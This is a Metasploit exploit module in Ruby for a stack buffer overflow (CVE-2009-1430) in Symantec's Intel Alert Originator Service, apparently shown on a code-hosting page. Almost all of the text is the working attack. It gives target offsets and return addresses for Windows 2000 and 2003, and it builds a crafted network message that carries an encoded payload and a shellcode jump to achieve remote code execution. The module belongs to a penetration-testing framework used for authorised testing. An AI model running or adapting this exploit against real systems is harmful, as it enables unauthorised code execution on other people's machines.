Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/antivirus/symantec_iao.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Symantec Alert Management System Intel Alert Originator Service Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Intel Alert Originator Service msgsys.exe.15When an attacker sends a specially crafted alert, arbitrary code may be executed.16},17'Author' => [ 'MC' ],18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2009-1430' ],22[ 'OSVDB', '54159'],23[ 'BID', '34674' ],24],25'Privileged' => true,26'DefaultOptions' =>27{28'EXITFUNC' => 'process',29},30'Payload' =>31{32'Space' => 800,33'BadChars' => "\x00\x20\x0a\x0d",34'StackAdjustment' => -3500,35'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",36},37'Platform' => 'win',38'Targets' =>39[40[ 'Windows 2003', { 'Offset' => 1061, 'Ret' => 0x00401130 } ],41[ 'Windows 2000 All', { 'Offset' => 1065, 'Ret' => 0x00401130 } ],42],43'DefaultTarget' => 0,44'DisclosureDate' => '2009-04-28'))4546register_options( [ Opt::RPORT(38292) ])47end4849def exploit5051connect5253filler = rand_text_alpha_upper(2048)5455sploit = payload.encoded56sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)57sploit << Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)58sploit << [target.ret].pack('V')59sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-950").encode_string60sploit << rand_text_alpha_upper(rand(24) + 700) + "\x00"6162msg = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x02\x00\x95\x94\xac\x10"63msg << "\x08\xb4\x00\x00\x00\x00\x00\x00\x00\x00" + [filler.length].pack('V')64msg << "ORIGCNFG" + "\x10\x00\x00\x00\x00\x00\x00\x00\x04\x00\x03\x03\xb8"65msg << "\x60\x00\x00\x00\x00\x00\x00" + "BIND"66msg << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"67msg << "\x04" + "BIND" + "\x00" + [filler.length].pack('V')68msg << rand_text_alpha_upper(7) + " Alert" + sploit69msg << "\x00" + [filler.length].pack('V') + [filler.length].pack('V')70msg << rand_text_alpha_upper(rand(10) + 36)71msg << filler + "\x00\x00\x00\x00" + "PRGX" + "\x00\x04\xAC\x10\x08\x1D"72msg << "\x07\x08\x12\x00" + "ConfigurationName" + "\x00\x16\x00\x14\x00"73msg << rand_text_alpha_upper(rand(1) + 25) + "\x00\x08\x08\x00" + "RunArgs"74msg << "\x00\x04\x00\x02" + "\x00\x20\x00\x03\x05\x00" + "FormatString"75msg << "\x00\x02\x00\x00\x00\x08\x12\x00" + "ConfigurationName"76msg << "\x00\x02\x00\x00\x00\x08\x0C\x00" + "HandlerHost"77msg << "\x00\x17\x00\x15\x00" + rhost + "\x00\x00\x00\x00\x00\x00"7879print_status("Trying target #{target.name}...")80sock.put(msg)8182handler83disconnect84end85end868788